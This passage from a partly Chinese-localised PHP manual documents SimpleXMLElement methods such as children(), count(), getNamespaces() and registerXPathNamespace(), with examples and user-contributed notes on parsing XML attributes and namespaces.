 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
 <Table Foo="Bar" ss:ExpandedColumnCount="7">
 </Table>
</Workbook>
XML;

$sxml = new SimpleXMLElement($xml);

/**
 * Access attribute of default namespace
 */
var_dump((string) $sxml->Table[0]['Foo']);
// outputs: 'Bar'

/**
 * Access attribute of non-default namespace
 */
var_dump((int) $sxml->Table[0]['ExpandedColumnCount']);
// outputs: 0

var_dump((int) $sxml->Table[0]->attributes('ss', TRUE)->ExpandedColumnCount);
// outputs: '7'
?>
Andrei 16-May-2011 04:46
Reading the attributes of the root element with name space prefixes as in an Atom feed

<feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:gd="http://schemas.google.com/g/2005" gd:etag="W/&quot;Ck4EQXYzeCp7ImA9WhZWFE4.&quot;">

<?php
$xml =  @simplexml_load_file($feed);
$att_gd = $xml->attributes("gd",1);
$Etag = $att_gd["etag"];
?>
sarlak 27-Apr-2011 01:12
<?php
$att = 'attribueName';

// You can access an element's attribute just like this :
$attribute = $element->attributes()->$att;

// This will save the value of the attribute, and not the objet
$attribute = (string)$element->attributes()->$att;

// You also can edit it this way :
$element->attributes()->$att = 'New value of the attribute';
?>
leap 02-Apr-2011 09:07
If you want to save the value of an attribute into an array, typecast it to a string.

<?php
// stores an xml-element-object
$dataStore['value'] = $attributes->myValue

// stores the value of the attribute
$dataStore['value'] = (string)$attributes->myValue
?>
alan at performantsystems dot com 23-May-2010 10:26
So lets say you have database type data in an XML string called $xmlstring with the key or item ID as an XML Attribute and all content data as regular XML Elements, as above. SimpleXML processes the Attributes as an array, so we can play along and push the Attributes into an array. Then we can get the value of any specific Attribute we want by addressing it by name, such as "ID".

Considering this data:

<?xml version="1.0" encoding="utf-8"?>
<data>
   <item ID="30001">
      <Company>Navarro Corp.</Company>
   </item>
   <item ID="30002">
      <Company>Performant Systems</Company>
   </item>
   <item ID="30003">
      <Company>Digital Showcase</Company>
   </item>
</data>

Example of listing both the ID Attribute and Company Element values:

<?php
$xmlObject = new SimpleXMLElement($xmlstring);
foreach ($xmlObject->children() as $node) {
        $arr = $node->attributes();   // returns an array
        print ("ID=".$arr["ID"]);     // get the value of this attribute
        print ("  Company=".$node->Company);
        print ("<p><hr>");
}
?>
Xeoncross 10-Apr-2010 07:46
It is really simple to access attributes using array form. However, you must convert them to strings or ints if you plan on passing the values to functions.

<?php
SimpleXMLElement Object
(
    [@attributes] => Array
        (
            [id] => 55555
        )

    [text] => "hello world"
)
?>

Then using a function

<?php
function xml_attribute($object, $attribute)
{
    if(isset($object[$attribute]))
        return (string) $object[$attribute];
}
?>

I can get the "id" like this

<?php
print xml_attribute($xml, 'id'); //prints "55555"
?>
gillllberg at gmail dot com 04-Nov-2009 02:21
To get an attribute in the node, use node->attributes()->attributeName
skerr at mojavi dot org 09-Dec-2004 10:55
You can also access the node as an array to get attributes:

<?php

$xml = simplexml_load_file('file.xml');

echo 'Attribute: ' . $xml['attribute'];

?>
inge at elektronaut dot no 26-May-2004 10:53
here's a simple function to get an attribute by name, based on the example

<?php
function findAttribute($object, $attribute) {
  foreach($object->attributes() as $a => $b) {
    if ($a == $attribute) {
      $return = $b;
    }
  }
  if($return) {
    return $return;
  }
}
?>


Finds children of given node

  • ? SimpleXMLElement::attributes
  • SimpleXMLElement::__construct ?
  • PHP Manual
  • SimpleXMLElement
  • Finds children of given node

SimpleXMLElement::children

(PHP 5, PHP 7)

SimpleXMLElement::children — Finds children of given node

说明

public SimpleXMLElement::children ([ string $ns [, bool $is_prefix = FALSE ]] ) : SimpleXMLElement

This method finds the children of an element. The result follows normal iteration rules.

Note: SimpleXML 建起了一个给大多数方法添加迭代属性的规则。不能通过使用 var_dump() 或任何可检查对象的其它东西来查看。

参数

ns

An XML namespace.

is_prefix

If is_prefix is TRUE, ns will be regarded as a prefix. If FALSE, ns will be regarded as a namespace URL.

返回值

Returns a SimpleXMLElement element, whether the node has children or not.

更新日志

版本 | 说明
5.2.0 | The optional parameter is_prefix was added.

范例

Example #1 Traversing a children() pseudo-array

<?php
$xml = new SimpleXMLElement(
'<person>
 <child role="son">
  <child role="daughter"/>
 </child>
 <child role="daughter">
  <child role="son">
   <child role="son"/>
  </child>
 </child>
</person>');

foreach ($xml->children() as $second_gen) {
    echo ' The person begot a ' . $second_gen['role'];

    foreach ($second_gen->children() as $third_gen) {
        echo ' who begot a ' . $third_gen['role'] . ';';

        foreach ($third_gen->children() as $fourth_gen) {
            echo ' and that ' . $third_gen['role'] .
                ' begot a ' . $fourth_gen['role'];
        }
    }
}
?>

以上例程会输出：

The person begot a son who begot a daughter; The person
begot a daughter who begot a son; and that son begot a son

Example #2 Using namespaces

<?php
$xml = '<example xmlns:foo="my.foo.urn">
  <foo:a>Apple</foo:a>
  <foo:b>Banana</foo:b>
  <c>Cherry</c>
</example>';

$sxe = new SimpleXMLElement($xml);

$kids = $sxe->children('foo');
var_dump(count($kids));

$kids = $sxe->children('foo', TRUE);
var_dump(count($kids));

$kids = $sxe->children('my.foo.urn');
var_dump(count($kids));

$kids = $sxe->children('my.foo.urn', TRUE);
var_dump(count($kids));

$kids = $sxe->children();
var_dump(count($kids));
?>
int(0)
int(2)
int(2)
int(0)
int(1)

注释

SimpleXMLElement::children() returns a node object no matter if the current node has children or not. Use count() on the return value to see if there are any children. As of PHP 5.3.0, SimpleXMLElement::count() may be used instead.

参见

  • SimpleXMLElement::count() - Counts the children of an element
  • count() - 计算数组中的单元数目，或对象中的属性个数

User Contributed Notes

boan dot web at outlook dot com 15-Mar-2019 07:09
SimpleXMLElement::children can return null in this case:

<?php
$xml = '
<root attr="Hello"/>
';

$sxe = new SimpleXMLElement($xml);

$sxe_xpath = $sxe->xpath('/root/@attr')[0];

$children = $sxe_xpath->children();

var_export($children); // Is null
?>
thetazzbot at gmail dot com 08-Sep-2011 06:56
Ok so say you have this xml:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE nitf
PUBLIC "-//IPTC-NAA//DTD NITF 3.1//EN"
       "http://www.nitf.org/site/nitf-documentation/nitf-3-1.dtd">
<nitf>
  <head>
    <docdata management-status="embargoed">
      <!--data/2011/08/23/parties/doc4e53aa5783cca930694817.txt-->
      <doc-id id-string="doc4e53aa5783cca930694817"/>
      <date.release norm="20110823T000000"/>
      <key-list/>
    </docdata>
    <pubdata type="web" position.section="parties" position.sequence="0"/>
  </head>

-- snip --

If you need to access the nodes named "like.this" such as the date.release above, here is how I did it:

$xml = new SimpleXMLElement($xhtml);
 echo (string)$xml->head->docdata->{"date.release"}["norm"];

Took me a while to figure that one out ;)
coldshine1 at rambler dot ru 10-Dec-2010 02:37
This is my recursive simple function to parse XML with attributes.

<?php
function ParseXML($node, &$parent=array(), $only_child=true) {

        //Current node name
        $node_name = $node->getName();

        //Let's count children
        $only_child = true;
        if($node->count() > 1 ) $only_child = false;

        //If there is no child, then there may be text data
        if($only_child){
            $content="$node";
            if (strlen($content)>0) $parent['content']=$content;
        }

        //Get attributes of current node
        foreach ($node->attributes() as $k=>$v) {
            $parent['@attributes'][$k]="$v";
        }

        //Get children
        $count = 0;
        foreach ($node->children() as $child_name=>$child_node) {
            if(!$only_child) //If there are siblings then we'll add node to the end of the array
                LGServerPVR::ParseXML($child_node, $parent[$node_name][$child_name][$count], $only_child);
            else
                LGServerPVR::ParseXML($child_node, $parent[$node_name][$child_name], $only_child);
            $count++;
        }

        return $parent;
        //(c) c01d[s]h!nE 10.12.2010
    }

?>
Anonymous 26-Oct-2010 05:19
Here's my xml-to-array routine. Unlike many of the other comments here, this one takes namespaces into account.

<?php

class XmlArray {

  public function load_dom ($xml) {
    $node=simplexml_import_dom($xml);
    return $this->add_node($node);
  }

  public function load_string ($s) {
    $node=simplexml_load_string($s);
    return $this->add_node($node);
  }

  private function add_node ($node, &$parent=null, $namespace='', $recursive=false) {

    $namespaces = $node->getNameSpaces(true);
    $content="$node";

    $r['name']=$node->getName();
    if (!$recursive) {
      $tmp=array_keys($node->getNameSpaces(false));
      $r['namespace']=$tmp[0];
      $r['namespaces']=$namespaces;
    }
    if ($namespace) $r['namespace']=$namespace;
    if ($content) $r['content']=$content;

    foreach ($namespaces as $pre=>$ns) {
      foreach ($node->children($ns) as $k=>$v) {
        $this->add_node($v, $r['children'], $pre, true);
      }
      foreach ($node->attributes($ns) as $k=>$v) {
        $r['attributes'][$k]="$pre:$v";
      }
    }
    foreach ($node->children() as $k=>$v) {
      $this->add_node($v, $r['children'], '', true);
    }
    foreach ($node->attributes() as $k=>$v) {
      $r['attributes'][$k]="$v";
    }

    $parent[]=&$r;
    return $parent[0];

  }

}

?>
mrdaniellee at live dot com 10-Jan-2010 09:11
use this If you want to view the HTML as well as data.

normal dumps display the parsed versions of HTML.
This code displays the HTML as Text in a Text Area, and also display all other a data along side as an array

perfect for debugging (xml with html).

Try This Code:

<?php
$xml  = simplexml_load_file($url);

function xml2array_parse($xml){
     foreach ($xml->children() as $parent => $child){
         $return["$parent"] = xml2array_parse($child)?xml2array_parse($child):"$child";
     }
     return $return;
 }

 print "<pre><textarea style=\"width:200%;height:100%;\">";
 print_r(xml2array_parse($xml));
 print "</textarea></pre>";
?>
rodmen at gmail dot com 21-May-2009 08:32
Transform xml to array php

<?php
function xml2phpArray($xml,$arr){
    $iter = 0;
        foreach($xml->children() as $b){
                $a = $b->getName();
                if(!$b->children()){
                        $arr[$a] = trim($b[0]);
                }
                else{
                        $arr[$a][$iter] = array();
                        $arr[$a][$iter] = xml2phpArray($b,$arr[$a][$iter]);
                }
        $iter++;
        }
        return $arr;
}

$Array = simplexml_load_string(file_get_contents('myfile.xml'));
print_r(xml2phpArray($Array,array()));
?>
Anonymous 06-Sep-2008 05:39
for XML namespaces such as <dc:creator> in RSS feeds use

<?php
    $xml = new SimpleXMLElement($string);
    $item = $xml->channel[0]->item[0];
    $dc = $item->children("http://purl.org/dc/elements/1.1/");
    echo $dc->creator;
?>
transglobe at gmx dot de 19-Mar-2008 02:37
I made a slightly differnt approch towards the RecurseXML function. Beeing hungry I had problems with the code, as it did just overwrite two <maincourse>s. So here is what I did:

<?php

$xml = new SimpleXMLElement(
'<meal>
   <type>Lunch</type>
   <time>12:30</time>
   <menu>
     <entree>salad</entree>
     <maincourse>
        <part>ships</part>
        <part>steak</part>
     </maincourse>
     <maincourse>
        <part>fisch</part>
        <part>rice</part>
     </maincourse>
     <maincourse>
        <part>wine</part>
        <part>cheese</part>
     </maincourse>
   </menu>
</meal>');

$vals = array();
RecurseXML($xml,$vals);

foreach($vals as $key=>$value)
  print("{$key} = {$value}<BR>\n");

function RecurseXML($xml,&$vals,$parent="") {

  $childs=0;
  $child_count=-1; # Not realy needed.
  $arr=array();
        foreach ($xml->children() as $key=>$value) {
                if (in_array($key,$arr)) {
                        $child_count++;
                } else {
                        $child_count=0;
                }
                $arr[]=$key;
                $k=($parent == "") ? "$key.$child_count" : "$parent.$key.$child_count";
                $childs=RecurseXML($value,$vals,$k);
                if ($childs==0) {
                        $vals[$k]= (string)$value;
                }
        }

  return $childs;
}

?>
Output is like this:
type.0 = Lunch
time.0 = 12:30
menu.0.entree.0 = salad
menu.0.maincourse.0.part.0 = ships
menu.0.maincourse.0.part.1 = steak
menu.0.maincourse.0 =
menu.0.maincourse.1.part.0 = fisch
menu.0.maincourse.1.part.1 = rice
menu.0.maincourse.1 =
menu.0.maincourse.2.part.0 = wine
menu.0.maincourse.2.part.1 = cheese
menu.0.maincourse.2 =
menu.0 =

(Not beautiful, but it solved my case...)
crescentfreshpot at yahoo dot com 10-Dec-2007 08:16
Just a warning that the iterable returned from children() contains the '@attributes' key, which is "invisible" during a foreach but can be seen if using a different construct, such as list()=each() or casting to an array before iterating w/ foreach.
aero 23-May-2007 08:07
Here's a simple, recursive, function to transform XML data into pseudo E4X syntax ie. root.child.value = foobar

<?php
error_reporting(E_ALL);

$xml = new SimpleXMLElement(
'<Patriarch>
   <name>Bill</name>
   <wife>
     <name>Vi</name>
   </wife>
   <son>
     <name>Bill</name>
   </son>
   <daughter>
     <name>Jeri</name>
     <husband>
       <name>Mark</name>
     </husband>
     <son>
       <name>Greg</name>
     </son>
     <son>
       <name>Tim</name>
     </son>
     <son>
       <name>Mark</name>
     </son>
     <son>
       <name>Josh</name>
         <wife>
           <name>Kristine</name>
         </wife>
         <son>
           <name>Blake</name>
         </son>
         <daughter>
           <name>Liah</name>
         </daughter>
     </son>
   </daughter>
</Patriarch>');

RecurseXML($xml);

function RecurseXML($xml,$parent="")
{
   $child_count = 0;
   foreach($xml as $key=>$value)
   {
      $child_count++;
      if(RecurseXML($value,$parent.".".$key) == 0)  // no childern, aka "leaf node"
      {
         print($parent . "." . (string)$key . " = " . (string)$value . "<BR>\n");
      }
   }
   return $child_count;
}

?>

The output....

.name = Bill
.wife.name = Vi
.son.name = Bill
.daughter.name = Jeri
.daughter.husband.name = Mark
.daughter.son.name = Greg
.daughter.son.name = Tim
.daughter.son.name = Mark
.daughter.son.name = Josh
.daughter.son.wife.name = Kristine
.daughter.son.son.name = Blake
.daughter.son.daughter.name = Liah
taylorbarstow at that google mail thingy 21-Apr-2006 07:38
Sometimes you actually want an array, not a pseudo array.   This is especially true when you aren't dealing with attributes (i.e., you just want the array of child nodes).

Do like this:

<?php
$children = $sxml->xpath('child::node()');
?>

The reason you might want this is to be able to use array functions like array_shift, array_pop, etc.  This is especially true when you are writing recursive functions.  Simplexml works really well in iterative programming, but if you try to implement recursion it gets ugly.
Sebastian 27-Oct-2005 03:45
Just a quick addition:

If you need to access a child node which contains a dash, you need to encapsulate it with {""}.

For example:
<?php
foreach ($domain->domain-listing as $product) {
}
?>

The example above doesn't work because of the dash. But instead you need to use:
<?php
foreach ($domain->{"domain-listing"} as $product) {
}
?>

At least for me the second example works perfectly fine.
no-one 31-May-2005 06:05
For anyone who hasn't read Sterling Hughe's article (http://www.zend.com/php5/articles/php5-simplexml.php):

<?php
$xml_document =<<<EOT
<?xml version="1.0"?>
<root xmlns:foo="http://example.com">
  <foo:bar>baz</foo:bar>
</root>
EOT;

$xml_document = simplexml_load_xml($xml_document);

$foo_ns_bar = $xml_document->children('http://example.com');

echo $foo_ns_bar->bar[0]; // prints 'baz'
?>
Andrew Rose (rose dot andrew at gmail dot com) 16-Mar-2005 04:48
The example below shows the basic use of depth-first recursion to span the xml tree.

This is coded for the command line, and it prints out the original sentance above and then the copy cat sentence it creates itself for comparison, which as you will see; this example is slightly off from, I'll leave it upto you to resolve this issue.

All in all I personaly think xml and recursion go hand in hand, so if you don't understand recursion but know xml and want to use php to manipulate xml you will need to learn about recursion at some point.

<?php
$xml = simplexml_load_string(
'<person>
 <child role="son">
  <child role="daughter"/>
 </child>
 <child role="daughter">
  <child role="son">
   <child role="son"/>
  </child>
 </child>
</person>');

function recurse($child)
 {
   foreach($child->children() as $children) {
     echo ' who begot a '.$children['role'];
     recurse($children);
   }
    return;
 }

foreach($xml->children() as $children) {
 echo 'The person begot a '.$children['role'];
  recurse($children, 0);
 echo '; ';
}

echo "\n";
echo 'The person begot a son who begot a daughter; The person begot a daughter who begot a son; and that son begot a son'."\n";

?>
zyxwvu at users dot sourceforge dot net 15-Feb-2004 10:32
File:

<category>
  <item>text</item>
  <bold>text</bold>
  <item>text</item>
  <item>text</item>
  <mark>text</mark>
  <bold>text</bold>
</category>

If you want to get also names of the tags, you can use this loop layout:

<?php
foreach($category -> children() as $name => $node){
  echo $name.'<br/>';
}
?>


Creates a new SimpleXMLElement object

  • ? SimpleXMLElement::children
  • SimpleXMLElement::count ?
  • PHP Manual
  • SimpleXMLElement
  • Creates a new SimpleXMLElement object

SimpleXMLElement::__construct

(PHP 5, PHP 7)

SimpleXMLElement::__construct — Creates a new SimpleXMLElement object

说明

final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )

Creates a new SimpleXMLElement object.

参数

data

A well-formed XML string or the path or URL to an XML document if data_is_url is TRUE.

options

Optionally used to specify additional Libxml parameters.

Note:

It may be necessary to pass LIBXML_PARSEHUGE to be able to process deeply nested XML or very large text nodes.

data_is_url

By default, data_is_url is FALSE. Use TRUE to specify that data is a path or URL to an XML document instead of string data.

ns

Namespace prefix or URI.

is_prefix

TRUE if ns is a prefix, FALSE if it's a URI; defaults to FALSE.

返回值

Returns a SimpleXMLElement object representing data.

错误／异常

Produces an E_WARNING error message for each error found in the XML data and additionally throws an Exception if the XML data could not be parsed.

Tip

Use libxml_use_internal_errors() to suppress all XML errors, and libxml_get_errors() to iterate over them afterwards.

范例

Note:

Listed examples may include example.php, which refers to the XML string found in the first example of the basic usage guide.

Example #1 Create a SimpleXMLElement object

<?php

include 'example.php';

$sxe = new SimpleXMLElement($xmlstr);
echo $sxe->movie[0]->title;

?>

以上例程会输出：

PHP: Behind the Parser

Example #2 Create a SimpleXMLElement object from a URL

<?php

$sxe = new SimpleXMLElement('http://example.org/document.xml', NULL, TRUE);
echo $sxe->asXML();

?>

更新日志

版本 | 说明
5.2.0 | Added the ns and is_prefix parameters.
5.1.2 | Added the options and data_is_url parameters.

参见

  • Basic SimpleXML usage
  • simplexml_load_string() - Interprets a string of XML into an object
  • simplexml_load_file() - Interprets an XML file into an object
  • Dealing with XML errors
  • libxml_use_internal_errors() - Disable libxml errors and allow user to fetch error information as needed

User Contributed Notes

rowan dot collins at gmail dot com 22-Apr-2017 03:23
The manual doesn't really explain what the $ns argument (and the accompanying $is_prefix) are for.

What they do is similar to the ->children() method: they set the context of the returned object to that namespace, so that access via ->elementName and ['attributeName'] refer to elements and attributes in that namespace.

In particular, they do *not* change the namespaces which exist on the document.

See this example:

<?php
// This XML contains two elements called <child>
// One is in the namespace http://example.com, with local prefix 'ws'
// The other has no namespace (no prefix, and no default namespace declared)
$xml = '<ws:example xmlns:ws="http://example.com"><child>Not in namespace</child><ws:child>In example namespace</ws:child></ws:example>';

$sx0 = new SimpleXMLElement($xml, 0, false);
$sx1 = new SimpleXMLElement($xml, 0, false, 'http://example.com');
$sx2 = new SimpleXMLElement($xml, 0, false, 'ws', true);

echo "
    Without: {$sx0->child}
    By namespace: {$sx1->child}
    By prefix: {$sx2->child}
";
?>

Output:

 Without: Not in namespace
 By namespace: In example namespace
 By prefix: In example namespace
ahmad dot mayahi at gmail dot com 07-Jun-2016 09:36
You won't be able to load an XML file without root element:

//This will throw an exception
$xml = new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?>', null, false);

//Here is the solution
$xml = new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?><root></root>', null, false);
Phil Cross 01-Sep-2014 11:39
It's worth noting, that you need to typecast dynamic property names to string in order to retrieve there value, for example:

<?php
    $xml = new SimpleXMLElement('records.xml', 0, true);

    // This will work as expected because its a hard coded property value
    foreach($xml as $record){
        echo $record->id;    // Will output the ID fine
    }

    // Dynamic properties require typecasting to string
    $xml_field = 'id';
    foreach($xml as $record){

        // This will dump a SimpleXMLElement object
        var_dump($record->$xml_field);

        // This will output the value as expected
        echo (string)$record->$xml_field;
    }
?>
bertolini dot cedric at me dot com 16-Jun-2014 11:07
It's worth noting that the behavior of SimpleXmlElement::__construct is not exactly the same as simplexml_load_string, regarding libxml_use_internal_errors().

In my case,

<?php
libxml_use_internal_errors(true);
new \SimpleXmlElement($data);
?>

was still throwing error. But as soon as I switched to

<?php
libxml_use_internal_errors(true);
simplexml_load_string($data);
?>

everything worked fine and I stopped getting an error.
kumarldh at gmail dot com 22-Mar-2011 10:50
Using libxml_use_internal_errors() may suppress errors but Exception still requires decent handling. I used following code snippet.

<?php
libxml_use_internal_errors(true);
try{
    $xmlToObject = new SimpleXMLElement($notSoWellFormedXML);
} catch (Exception $e){
    echo 'Please try again later...';
    exit();
}
?>
uramihsayibok, gmail, com 16-Aug-2009 06:52
As I was filling out a bug report, I realized why (speculation here) the constructor is final: so that functions like simplexml_load_file and simplexml_load_string can work. I imagine the PHP-ized code looks something like

<?php

function simplexml_load_file($filename, $class_name = "SimpleXMLElement", $options = 0, $ns = "", $is_prefix = false) {
    return new $class_name($filename, $options, true, $ns, $is_prefix);
}

?>

If we were to use a different $class_name and change the constructor's definition these functions wouldn't work.

There's no easy, sensible solution that keeps simplexml_load_file and simplexml_load_string.
tudor at culise dot net 20-Nov-2007 03:35
This class is extendable, but it's too bad that its constructor cannot be overriden (PHP says it's a final method). Thus the class should be wrapped using the delegation principle rather that extended.


Counts the children of an element

  • ? SimpleXMLElement::__construct
  • SimpleXMLElement::getDocNamespaces ?
  • PHP Manual
  • SimpleXMLElement
  • Counts the children of an element

SimpleXMLElement::count

(PHP 5 >= 5.3.0, PHP 7)

SimpleXMLElement::count — Counts the children of an element

说明

public SimpleXMLElement::count ( void ) : int

This method counts the number of children of an element.

返回值

Returns the number of elements of an element.

范例

Example #1 Counting the number of children

<?php
$xml = <<<EOF
<people>
 <person name="Person 1">
  <child/>
  <child/>
  <child/>
 </person>
 <person name="Person 2">
  <child/>
  <child/>
  <child/>
  <child/>
  <child/>
 </person>
</people>
EOF;

$elem = new SimpleXMLElement($xml);

foreach ($elem as $person) {
    printf("%s has got %d children.\n", $person['name'], $person->count());
}
?>

以上例程会输出：

Person 1 has got 3 children.
Person 2 has got 5 children.

参见

  • SimpleXMLElement::children() - Finds children of given node

User Contributed Notes

daniel dot erni at focusedpublishing dot com 22-Mar-2011 08:37
Alternative code for PHP < 5.3:
<?php
$count = $node->count(); // PHP > 5.3
$count = count($node->children()); // PHP < 5.3
?>


Returns namespaces declared in document

  • ? SimpleXMLElement::count
  • SimpleXMLElement::getName ?
  • PHP Manual
  • SimpleXMLElement
  • Returns namespaces declared in document

SimpleXMLElement::getDocNamespaces

(PHP 5 >= 5.1.2, PHP 7)

SimpleXMLElement::getDocNamespaces — Returns namespaces declared in document

说明

public SimpleXMLElement::getDocNamespaces ([ bool $recursive = FALSE [, bool $from_root = TRUE ]] ) : array

Returns namespaces declared in document

参数

recursive

If specified, returns all namespaces declared in parent and child nodes. Otherwise, returns only namespaces declared in root node.

from_root

Allows you to recursively check namespaces under a child node instead of from the root of the XML doc.

返回值

The getDocNamespaces method returns an array of namespace names with their associated URIs.

范例

Example #1 Get document namespaces

<?php

$xml = <<<XML
<?xml version="1.0" standalone="yes"?>
<people xmlns:p="http://example.org/ns">
    <p:person id="1">John Doe</p:person>
    <p:person id="2">Susie Q. Public</p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$namespaces = $sxe->getDocNamespaces();
var_dump($namespaces);

?>

以上例程会输出：

array(1) {
   ["p"]=>
   string(21) "http://example.org/ns"
}

Example #2 Working with multiple namespaces

<?php

$xml = <<<XML
<?xml version="1.0" standalone="yes"?>
<people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
    <p:person t:id="1">John Doe</p:person>
    <p:person t:id="2" a:addr="123 Street" xmlns:a="http://example.org/addr">
        Susie Q. Public
    </p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$namespaces = $sxe->getDocNamespaces(TRUE);
var_dump($namespaces);

?>

以上例程会输出：

array(3) {
  ["p"]=>
  string(21) "http://example.org/ns"
  ["t"]=>
  string(23) "http://example.org/test"
  ["a"]=>
  string(23) "http://example.org/addr"
}

更新日志

版本 | 说明
5.4.0 | Added from_root parameter.

参见

  • SimpleXMLElement::getNamespaces() - Returns namespaces used in document
  • SimpleXMLElement::registerXPathNamespace() - Creates a prefix/ns context for the next XPath query

User Contributed Notes

There are no user contributed notes for this page.


Gets the name of the XML element

  • ? SimpleXMLElement::getDocNamespaces
  • SimpleXMLElement::getNamespaces ?
  • PHP Manual
  • SimpleXMLElement
  • Gets the name of the XML element

SimpleXMLElement::getName

(PHP 5 >= 5.1.3, PHP 7)

SimpleXMLElement::getName — Gets the name of the XML element

说明

public SimpleXMLElement::getName ( void ) : string

Gets the name of the XML element.

返回值

The getName method returns as a string the name of the XML tag referenced by the SimpleXMLElement object.

范例

Note:

Listed examples may include example.php, which refers to the XML string found in the first example of the basic usage guide.

Example #1 Get XML element names

<?php
include 'example.php';
$sxe = new SimpleXMLElement($xmlstr);

echo $sxe->getName() . "\n";

foreach ($sxe->children() as $child)
{
    echo $child->getName() . "\n";
}

?>

以上例程会输出：

movies
movie

User Contributed Notes

There are no user contributed notes for this page.


Returns namespaces used in document

  • ? SimpleXMLElement::getName
  • SimpleXMLElement::registerXPathNamespace ?
  • PHP Manual
  • SimpleXMLElement
  • Returns namespaces used in document

SimpleXMLElement::getNamespaces

(PHP 5 >= 5.1.2, PHP 7)

SimpleXMLElement::getNamespaces — Returns namespaces used in document

说明

public SimpleXMLElement::getNamespaces ([ bool $recursive = FALSE ] ) : array

Returns namespaces used in document

参数

recursive

If specified, returns all namespaces used in parent and child nodes. Otherwise, returns only namespaces used in root node.

返回值

The getNamespaces method returns an array of namespace names with their associated URIs.

范例

Example #1 Get document namespaces in use

<?php

$xml = <<<XML
<?xml version="1.0" standalone="yes"?>
<people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
    <p:person id="1">John Doe</p:person>
    <p:person id="2">Susie Q. Public</p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$namespaces = $sxe->getNamespaces(true);
var_dump($namespaces);

?>

以上例程会输出：

array(1) {
  ["p"]=>
  string(21) "http://example.org/ns"
}

参见

  • SimpleXMLElement::getDocNamespaces() - Returns namespaces declared in document
  • SimpleXMLElement::registerXPathNamespace() - Creates a prefix/ns context for the next XPath query

User Contributed Notes

thiago at osfeio dot com 29-Oct-2013 04:23
this article has more info : http://www.sitepoint.com/parsing-xml-with-simplexml/
harry at nospam dot thestorm dot plus dot com 17-Feb-2012 02:21
If the namespace is nested in the xml, then you will have to loop over the nodes.

<?php

$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
  <people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
      <items>
            <title>This is a test of namespaces and my patience</title>
            <p:person id="1">John Doe</p:person>
            <p:person id="2">Susie Q. Public</p:person>
            <p:person id="1">Fish Man</p:person>
      </items>
  </people>
XML;

$sxe = new SimpleXMLElement($xml);

foreach ($sxe as $out_ns)
{
    $ns = $out_ns->getNamespaces(true);

    $child = $out_ns->children($ns['p']);

    foreach ($child as $out)
    {
        echo $out . "<br />";
    }
}
?>
harry at nospam dot thestorm dot plus dot com 16-Feb-2012 12:50
To read a namespace node you have to use the children method.

<?php

$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
    <p:person id="1">John Doe</p:person>
    <p:person id="2">Susie Q. Public</p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$ns = $sxe->getNamespaces(true);

$child = $sxe->children($ns['p']);

foreach ($child->person as $out_ns)
{
    echo $out_ns;
}

?>


Creates a prefix/ns context for the next XPath query

  • ? SimpleXMLElement::getNamespaces
  • SimpleXMLElement::saveXML ?
  • PHP Manual
  • SimpleXMLElement
  • Creates a prefix/ns context for the next XPath query

SimpleXMLElement::registerXPathNamespace

(PHP 5 >= 5.1.0, PHP 7)

SimpleXMLElement::registerXPathNamespace — Creates a prefix/ns context for the next XPath query

说明

public SimpleXMLElement::registerXPathNamespace ( string $prefix , string $ns ) : bool

Creates a prefix/ns context for the next XPath query. In particular, this is helpful if the provider of the given XML document alters the namespace prefixes. registerXPathNamespace will create a prefix for the associated namespace, allowing one to access nodes in that namespace without the need to change code to allow for the new prefixes dictated by the provider.

参数

prefix

The namespace prefix to use in the XPath query for the namespace given in ns.

ns

The namespace to use for the XPath query. This must match a namespace in use by the XML document or the XPath query using prefix will not return any results.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 Setting a namespace prefix to use in an XPath query

<?php

$xml = <<<EOD
<book xmlns:chap="http://example.org/chapter-title">
    <title>My Book</title>
    <chapter id="1">
        <chap:title>Chapter 1</chap:title>
        <para>Donec velit. Nullam eget tellus vitae tortor gravida scelerisque.
            In orci lorem, cursus imperdiet, ultricies non, hendrerit et, orci.
            Nulla facilisi. Nullam velit nisl, laoreet id, condimentum ut,
            ultricies id, mauris.</para>
    </chapter>
    <chapter id="2">
        <chap:title>Chapter 2</chap:title>
        <para>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Proin
            gravida. Phasellus tincidunt massa vel urna. Proin adipiscing quam
            vitae odio. Sed dictum. Ut tincidunt lorem ac lorem. Duis eros
            tellus, pharetra id, faucibus eu, dapibus dictum, odio.</para>
    </chapter>
</book>
EOD;

$sxe = new SimpleXMLElement($xml);

$sxe->registerXPathNamespace('c', 'http://example.org/chapter-title');
$result = $sxe->xpath('//c:title');

foreach ($result as $title) {
  echo $title . "\n";
}

?>

以上例程会输出：

Chapter 1
Chapter 2

Notice how the XML document shown in the example sets a namespace with a prefix of chap. Imagine that this document (or another one like it) may have used a prefix of c in the past for the same namespace. Since it has changed, the XPath query will no longer return the proper results and the query will require modification. Using registerXPathNamespace avoids future modification of the query even if the provider changes the namespace prefix.

参见

  • SimpleXMLElement::xpath() - Runs XPath query on XML data
  • SimpleXMLElement::getDocNamespaces() - Returns namespaces declared in document
  • SimpleXMLElement::getNamespaces() - Returns namespaces used in document

User Contributed Notes

Lea Hayes 12-Jan-2011 09:56
Looks like you have to use registerXPathNamespace for each node when using XPath:

<?php
$xml = simplexml_load_file($filename);

$xml->registerXPathNamespace('test', 'http://example.com');

$shopping_element = $xml->xpath('test:shopping-list');

// Breaks with out the following line:

$shopping_element->registerXPathNamespace('test', 'http://example.com');

$fruit = $shopping_element->xpath('test:fruit');
?>


别名 SimpleXMLElement::asXML

